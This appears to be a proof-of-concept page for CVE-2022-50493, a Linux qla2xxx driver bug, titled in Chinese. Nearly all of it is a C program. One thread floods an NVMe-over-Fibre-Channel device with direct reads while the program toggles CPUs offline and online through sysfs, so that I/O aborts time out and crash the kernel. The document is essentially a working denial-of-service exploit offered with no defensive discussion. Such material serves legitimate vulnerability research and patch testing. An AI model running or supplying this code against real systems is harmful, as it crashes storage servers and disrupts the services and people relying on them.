CVE-2022-50493 Linux内核qla2xxx驱动I/O中止超时崩溃漏洞

// CVE-2022-50493 PoC - Trigger qla2xxx crash via CPU hotplug during NVMe-oF I/O // This PoC demonstrates how to trigger the vulnerability by inducing // CPU hotplug while NVMe over FC I/O operations are in flight #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> #include <errno.h> // Function to write to a specific CPU online file to trigger hotplug int trigger_cpu_hotplug(int cpu_num, int online) { char path[64]; snprintf(path, sizeof(path), "/sys/devices/system/cpu/cpu%d/online", cpu_num); int fd = open(path, O_WRONLY); if (fd < 0) { perror("open cpu online"); return -1; } const char *state = online ? "1" : "0"; if (write(fd, state, 1) != 1) { perror("write cpu state"); close(fd); return -1; } close(fd); return 0; } // Thread function to perform continuous I/O on NVMe device void* nvme_io_worker(void* arg) { char *dev_path = (char*)arg; int fd = open(dev_path, O_RDWR | O_DIRECT); if (fd < 0) { perror("open nvme device"); return NULL; } char buf[4096] __attribute__((aligned(4096))); memset(buf, 0xAA, sizeof(buf)); // Perform continuous I/O to keep requests in flight while (1) { for (int i = 0; i < 1000; i++) { // Issue read operations to generate I/O load lseek(fd, i * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } } close(fd); return NULL; } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <nvme_device>\n", argv[0]); fprintf(stderr, "Example: %s /dev/nvme0n1\n", argv[0]); return 1; } printf("[*] CVE-2022-50493 PoC - qla2xxx abort timeout crash\n"); printf("[*] Starting NVMe I/O worker thread...\n"); pthread_t io_thread; if (pthread_create(&io_thread, NULL, nvme_io_worker, argv[1]) != 0) { perror("pthread_create"); return 1; } // Let I/O start sleep(2); printf("[*] Triggering CPU hotplug to induce abort timeout...\n"); // Rapidly toggle CPU states to trigger hotplug events // while I/O requests are in flight for (int round = 0; round < 100; round++) { for (int cpu = 1; cpu < 8; cpu++) { trigger_cpu_hotplug(cpu, 0); // offline usleep(10000); trigger_cpu_hotplug(cpu, 1); // online usleep(10000); } printf("[+] Round %d completed\n", round + 1); } printf("[*] Done. Check dmesg for crash logs.\n"); pthread_cancel(io_thread); pthread_join(io_thread, NULL); return 0; }